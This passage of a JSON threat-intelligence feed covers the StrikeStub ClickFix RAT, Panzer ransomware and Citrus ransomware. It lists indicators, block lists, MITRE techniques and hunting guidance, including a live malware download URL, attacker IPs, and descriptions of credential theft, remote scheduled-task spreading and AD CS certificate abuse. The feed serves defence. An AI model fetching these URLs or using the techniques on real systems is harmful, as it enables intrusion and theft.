keylog_YYYY-MM-DD.txt, or DPAPI / profile-cloning access to browser credential stores by a disguised RuntimeBroker.exe or WindowsUpdate.exe", "log_source": "Defender XDR DeviceFileEvents and DeviceProcessEvents", "why": "Operators can toggle hidden VNC, keylogging, webcam capture, live desktop streaming, clipboard monitoring and DPAPI theft of Chromium credentials, plus a Firefox profile-clone workaround for locked SQLite databases.", "action": "hunt", "has_query": true, "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_name": "Akamai", "title": "HVNC, dated keylog files or DPAPI browser theft", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/block_now.txt", "download": "StrikeStub-ClickFix-RAT-Stealer_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/defender_xdr_indicators.csv", "download": "StrikeStub-ClickFix-RAT-Stealer_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt.kql", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt.spl", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt_raw.spl", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt.yaral", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/iocs.csv", "download": "StrikeStub-ClickFix-RAT-Stealer_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer", "share_url": "https://iocwatch.com/t/StrikeStub-ClickFix-RAT-Stealer/", "indicators": [ { "value": "squidscript.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker domain that hosted the StrikeStub ClickFix loader served as Cloudflare.exe.", "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "source_name": "Akamai", "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "name": "Akamai" } ] }, { "value": "http://squidscript.com/Cloudflare.exe", "type": "url", "confidence": "high", "recommended_action": "block", "description": "URL of the StrikeStub loader that the ClickFix PowerShell command downloads to %TEMP%\\svc.exe.", "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "source_name": "Akamai", "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "name": "Akamai" } ] }, { "value": "spiraldirect.ch", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Compromised legitimate website that presented a fake 'Verify you are human' ClickFix prompt and copied the StrikeStub PowerShell command to the clipboard.", "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "source_name": "Akamai", "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "name": "Akamai" } ] }, { "value": "StrikeStub/1.0", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "WebSocket user agent used by the StrikeStub RAT during C2 enrolment.", "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "source_name": "Akamai", "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "name": "Akamai" } ] }, { "value": "%TEMP%\\svc.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Local path where the ClickFix PowerShell command saves Cloudflare.exe before launching it.", "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "source_name": "Akamai", "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "name": "Akamai" } ] }, { "value": "\\Microsoft\\WindowsUpdate.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Startup-folder persistence path used by StrikeStub, dropped under the user's Programs\\Startup tree as Microsoft\\WindowsUpdate.exe.", "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "source_name": "Akamai", "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "name": "Akamai" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt.kql", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt.spl", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt_raw.spl", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer/hunt.yaral", "download": "StrikeStub-ClickFix-RAT-Stealer_hunt.yaral" } ] }, { "id": "Panzer-RaaS-Share-Propagation-Ransomware", "folder": "threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware", "name": "Panzer RaaS: Self-Propagating Ransomware Spread Through Network Shares", "short": "Panzer self-propagating ransomware", "category": "Ransomware", "published": "2026-11-11", "entry_date": "2026-11-12 12:25", "last_updated": "2026-11-12", "seq": 31, "headline": "Rust RaaS payload that copies itself to every share and runs as PanzerUpdateTask; names and behaviour only, no hashes", "summary": "Cynet's CyOps team analysed the Windows payload of Panzer, a ransomware-as-a-service operation first seen in August 2026 that has listed 46 victims in 20 countries, most of them in the European Union. One run of the Rust binary does the whole job: it runs net view to list hosts in the domain and then their shares, copies itself as panzer.exe into every reachable share, creates a scheduled task named PanzerUpdateTask on each remote host with schtasks /CREATE /S and fires it with schtasks /RUN. It then encrypts the local machine, appending .LOCKED, drops the Recovery.md ransom note, sets Panzer.jpg from the Temp folder as the wallpaper, and runs panzer.bat to delete itself. The note threatens GDPR complaints to regulators and blackmail of the victim's customers. No hashes or network indicators have been published, so this entry is hunt and alert only.", "caveat": "Cynet published behaviour and file names but no hashes or network indicators, and FortiGuard notes that no Panzer indicator has yet been confirmed by a second source. Everything here is alert or hunt only. The .LOCKED extension and the Recovery.md note name are used by other families, so pair them with the Panzer-specific names.", "targets": { "countries": [ { "code": "IT", "name": "Italy" } ], "regions": [ "Europe" ], "sectors": [ "Manufacturing", "Telecommunications", "Multiple sectors" ], "note": "Cynet counts 46 Panzer victims in 20 countries, most of them in the European Union; Cyware reported Italian manufacturing and telecommunications victims. Halcyon says the group avoids the United States so far.", "source": { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "name": "Cynet" } }, "mitre": [ { "id": "T1018", "name": "Remote System Discovery", "url": "https://attack.mitre.org/techniques/T1018/" }, { "id": "T1135", "name": "Network Share Discovery", "url": "https://attack.mitre.org/techniques/T1135/" }, { "id": "T1570", "name": "Lateral Tool Transfer", "url": "https://attack.mitre.org/techniques/T1570/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1497.003", "name": "Time Based Evasion", "url": "https://attack.mitre.org/techniques/T1497/003/" }, { "id": "T1622", "name": "Debugger Evasion", "url": "https://attack.mitre.org/techniques/T1622/" }, { "id": "T1486", "name": "Data Encrypted for Impact", "url": "https://attack.mitre.org/techniques/T1486/" }, { "id": "T1491.001", "name": "Internal Defacement", "url": "https://attack.mitre.org/techniques/T1491/001/" }, { "id": "T1070.004", "name": "File Deletion", "url": "https://attack.mitre.org/techniques/T1070/004/" } ], "recommended_actions": [ "Alert on any scheduled task named PanzerUpdateTask and on panzer.exe or panzer.bat anywhere, including network shares.", "Hunt for workstations running net view against many hosts in a short time, and for schtasks /CREATE or /RUN with /S from machines that do not normally administer other hosts.", "Watch file servers for a new executable written to many shares by one account, followed by remote scheduled tasks that run it.", "Remove write access to shares for standard users where it is not needed, and require phishing-resistant MFA on remote gateways (the only documented Panzer access path is a gateway without MFA)." ], "sources": [ { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "name": "Cynet" }, { "url": "https://www.halcyon.ai/threat-group/panzer", "label": "Halcyon – Panzer threat group profile (background)", "name": "Halcyon" }, { "url": "https://fortiguard.fortinet.com/threat-actor/6570/panzer", "label": "FortiGuard Labs – Panzer threat actor profile (background)", "name": "Fortinet" } ], "indicator_count": 5, "block_now_count": 0, "hunt_count": 5, "hunt_counts": { "alert": 5 }, "indicator_counts": { "filename": 4, "other": 1 }, "ioas": [ { "artefact": "A scheduled task named PanzerUpdateTask, or panzer.exe, panzer.bat or Panzer.jpg on a host or share", "log_source": "EDR process, file and registry events; Task Scheduler 4698; file-server audit logs", "why": "Panzer copies itself as panzer.exe into every share, runs it remotely through the PanzerUpdateTask task, sets Panzer.jpg from Temp as the wallpaper after encryption, and deletes itself with panzer.bat.", "action": "alert", "has_query": true, "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_name": "Cynet", "title": "PanzerUpdateTask, panzer.exe or panzer.bat", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "schtasks /CREATE or /RUN against a remote host (/S) from a workstation that does not normally administer other machines", "log_source": "EDR process events; Task Scheduler 4698 on the target", "why": "Panzer needs no lateral-movement toolkit: it uses schtasks with /S to create and immediately run a task on each remote host. The same pattern is used by other ransomware, so it is a hunt lead rather than proof.", "action": "hunt", "has_query": true, "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_name": "Cynet", "title": "Remote schtasks create or run", "queries": [ "KQL", "SPL" ] }, { "artefact": "Bursts of net view from one workstation against many hosts", "log_source": "EDR process events", "why": "Panzer lists domain hosts with net view and then runs net view against each one to find shares. Many net view commands from one user workstation in minutes is unusual.", "action": "hunt", "has_query": true, "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_name": "Cynet", "title": "net view bursts", "queries": [ "KQL", "SPL" ] }, { "artefact": "A batch file that deletes an executable in a loop and then deletes itself", "log_source": "EDR process events", "why": "Panzer's last step runs panzer.bat, which deletes the ransomware binary, checks each second until it is gone, then removes itself to leave less for responders.", "action": "hunt", "has_query": false, "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_name": "Cynet", "title": "Self-deleting cleanup batch file", "queries": [] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/block_now.txt", "download": "Panzer-RaaS-Share-Propagation-Ransomware_block_now.txt" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt.kql", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt.spl", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt_raw.spl", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt.yaral", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/iocs.csv", "download": "Panzer-RaaS-Share-Propagation-Ransomware_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware", "share_url": "https://iocwatch.com/t/Panzer-RaaS-Share-Propagation-Ransomware/", "indicators": [ { "value": "panzer.exe", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Panzer ransomware file name; it copies itself under this name into every reachable network share.", "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "name": "Cynet" } ] }, { "value": "PanzerUpdateTask", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task Panzer creates on each remote host with schtasks /CREATE /S and runs at once with schtasks /RUN.", "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "name": "Cynet" } ] }, { "value": "panzer.bat", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Cleanup batch file that deletes the ransomware binary in a loop and then deletes itself.", "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "name": "Cynet" } ] }, { "value": "Panzer.jpg", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Wallpaper image written to the user's Temp folder and set through HKCU\\Control Panel\\Desktop\\Wallpaper after encryption.", "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "name": "Cynet" } ] }, { "value": "Recovery.md", "type": "filename", "confidence": "low", "recommended_action": "alert", "description": "Panzer ransom note name; generic, so match it with panzer.exe or .LOCKED files.", "source_url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "source_label": "Cynet – Panzer ransomware spreads itself across network shares, then deletes the evidence", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/blog/panzer-ransomware-spreads-itself-across-network-shares-then-deletes-the-evidence/", "name": "Cynet" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt.kql", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt.spl", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt_raw.spl", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Panzer-RaaS-Share-Propagation-Ransomware/hunt.yaral", "download": "Panzer-RaaS-Share-Propagation-Ransomware_hunt.yaral" } ] }, { "id": "Citrus-Ransomware-Certighost-Sn00py", "folder": "threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py", "name": "Citrus Ransomware: Certighost AD CS Exploitation, Xray VLESS Tunnels and Sn00py", "short": "Citrus ransomware", "category": "Ransomware", "published": "2026-11-11", "entry_date": "2026-11-12 12:25", "last_updated": "2026-11-12", "seq": 30, "headline": "Contractor-account ransomware using Certighost AD CS certificates, Xray VLESS tunnels and a fake Kaspersky GPO to push Sn00py", "summary": "Kaspersky describes Citrus, a previously undocumented Russian-speaking ransomware group that has hit Russian organisations, mainly in finance, agriculture and retail. Citrus logs in with stolen contractor accounts over VPN or internet-facing RDP, then tries to escalate with CVE-2026-54121 (Certighost), an AD CS flaw patched in July 2026: each attempt creates a computer account named GHOST plus eight capital letters and requests a Machine-template certificate whose cdc attribute points the CA at the attacker's server 91.210.109.118, so a success gives a certificate for a domain controller. The group also used Impacket atexec, Metasploit and weak 1C:Enterprise servers, PowerShell written with large language models, and Xray reverse VLESS tunnels on port 443 disguised with REALITY as traffic to mirror.yandex.ru. It stole messenger data with 7-Zip, then pushed the Go-based Sn00py ransomware through a malicious GPO named Kaspersky GPO, created by KasperskyGPO_Deploy_64.exe, which runs it through the KasperskyAgentInstallTask or Sysvc scheduled task; files get the .citrus extension and a CITRUS_README.txt note. Both Citrus servers are on the block list.", "caveat": "Kaspersky published MD5 hashes only, so the four hashes are listed as alert items and are not in the SHA-256 block list. Victims so far are in Russia, but the Certighost technique works against any unpatched Enterprise CA. Xray and 7-Zip are legitimate tools and mirror.yandex.ru is a legitimate site: hunt for them in unusual places, never block them.", "targets": { "countries": [ { "code": "RU", "name": "Russia" } ], "regions": [ "Eastern Europe" ], "sectors": [ "Financial services", "Agriculture", "Retail" ], "note": "Kaspersky says Citrus has hit organisations in Russia, mainly in finance, agriculture and retail, entering through compromised contractor accounts. The Certighost technique works against any unpatched Enterprise CA.", "source": { "url": "https://securelist.com/citrus-ransomware/121879/", "label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "name": "Kaspersky" } }, "mitre": [ { "id": "T1199", "name": "Trusted Relationship", "url": "https://attack.mitre.org/techniques/T1199/" }, { "id": "T1133", "name": "External Remote Services", "url": "https://attack.mitre.org/techniques/T1133/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" }, { "id": "T1649", "name": "Steal or Forge Authentication Certificates", "url": "https://attack.mitre.org/techniques/T1649/" }, { "id": "T1136.002", "name": "Domain Account", "url": "https://attack.mitre.org/techniques/T1136/002/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1484.001", "name": "Group Policy Modification", "url": "https://attack.mitre.org/techniques/T1484/001/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1036.005", "name": "Match Legitimate Name or Location", "url": "https://attack.mitre.org/techniques/T1036/005/" }, { "id": "T1056.001", "name": "Keylogging", "url": "https://attack.mitre.org/techniques/T1056/001/" }, { "id": "T1560.001", "name": "Archive via Utility", "url": "https://attack.mitre.org/techniques/T1560/001/" }, { "id": "T1486", "name": "Data Encrypted for Impact", "url": "https://attack.mitre.org/techniques/T1486/" } ], "recommended_actions": [ "Patch every Enterprise CA for CVE-2026-54121 and turn on AD CS auditing (events 4886 and 4887); Defender for Identity raises a Potential Certighost alert for attempts.", "Block 91.210.109.118 and 91.210.108.180 and search 90 days of firewall, VPN and proxy logs for them.", "Alert on new computer accounts named GHOST plus eight capital letters (event 4741). If one exists, revoke every certificate issued to it, delete the account, and treat the domain as compromised if a certificate was issued.", "Hunt for GPOs or scheduled tasks named after Kaspersky that are not from your Kaspersky deployment, for build_64.exe or KasperskyAgent.exe in SYSVOL, and for KasperskyAgentInstallTask, Sysvc and Java rpchost agent tasks.", "Hunt for Xray or renamed binaries (mst.exe, sabycenter.exe, webex.exe, rpchost.exe) running from C:\\ProgramData, certutil or BITS downloading executables, and files ending .citrus.", "Review contractor accounts: require MFA on VPN and RDP, limit their logon hours and hosts, and reset any that show unusual activity." ], "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "name": "Kaspersky" }, { "url": "https://www.kaspersky.ru/about/press-releases/novaya-gruppa-shifrovalshikov-citrus-atakovala-rossijskie-organizacii-cherez-podryadchikov", "label": "Kaspersky – press release on the Citrus ransomware group (Russian)", "name": "Kaspersky (2)" }, { "url": "https://gbhackers.com/citrus-ransomware-attack/", "label": "GBHackers – New Citrus ransomware hides malicious traffic as HTTPS", "name": "GBHackers" } ], "indicator_count": 14, "block_now_count": 2, "hunt_count": 12, "hunt_counts": { "alert": 12 }, "indicator_counts": { "other": 8, "filename": 4, "ipv4": 2 }, "ioas": [ { "artefact": "Computer accounts named GHOST plus eight capital letters, or Machine-template certificate requests whose cdc attribute points at an outside address", "log_source": "Defender for Identity directory events; domain controller Security log 4741; AD CS CA log 4886/4887", "why": "The public Certighost (CVE-2026-54121) exploit creates a GHOST computer account for each attempt and asks the CA to verify the request against a server the attacker controls (cdc:91.210.109.118 in Citrus intrusions). An issued certificate lets the attacker log in as a domain controller.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_name": "Kaspersky", "title": "Certighost GHOST computer account or cdc certificate request", "queries": [ "KQL", "SPL" ] }, { "artefact": "A Group Policy Object or scheduled task named after Kaspersky that deploys an executable from SYSVOL (KasperskyGPO_Deploy_64.exe, Deploy-KasperskyGPO.ps1, KasperskyAgentInstallTask, Sysvc)", "log_source": "EDR process and file events on domain controllers and endpoints; Windows Security 5136/5137 (GPO changes); Task Scheduler 4698", "why": "Citrus pushes Sn00py through a malicious GPO called Kaspersky GPO: a self-extracting archive copies the ransomware to SYSVOL, imports and links the GPO, and the GPO creates a scheduled task on every machine.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_name": "Kaspersky", "title": "Fake Kaspersky GPO or task deploying ransomware", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Xray or a renamed tunnel binary (mst.exe, sabycenter.exe, webex.exe, rpchost.exe) running from C:\\ProgramData, or certutil and BITS downloading executables there", "log_source": "EDR process and network events on Windows", "why": "Citrus fetches Xray with certutil or BITS, renames it after familiar software, and runs reverse VLESS tunnels on port 443 that use REALITY to look like traffic to mirror.yandex.ru.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_name": "Kaspersky", "title": "Xray tunnel binary in ProgramData or Citrus server traffic", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files renamed with the .citrus extension, CITRUS_README.txt notes, or a process calling bcedit", "log_source": "EDR file and process events", "why": "Sn00py encrypts user files with RSA-2048 and ChaCha20, appends .citrus, drops CITRUS_README.txt and tries to change boot settings by calling bcedit (a typo for bcdedit).", "action": "alert", "has_query": true, "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_name": "Kaspersky", "title": "Citrus .citrus files, ransom note or bcedit", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Impacket atexec: cmd.exe started by the Task Scheduler service writing its output to a random .tmp file in C:\\Windows\\Temp", "log_source": "EDR process events; Task Scheduler 4698/4699", "why": "Citrus used Impacket atexec to run commands on other hosts through short-lived scheduled tasks. The tool's default command line redirects output to an eight-character .tmp file in Windows\\Temp.", "action": "hunt", "has_query": true, "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_name": "Kaspersky", "title": "Impacket atexec scheduled-task command", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/block_now.txt", "download": "Citrus-Ransomware-Certighost-Sn00py_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/defender_xdr_indicators.csv", "download": "Citrus-Ransomware-Certighost-Sn00py_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt.kql", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt.spl", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt_raw.spl", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt.yaral", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/iocs.csv", "download": 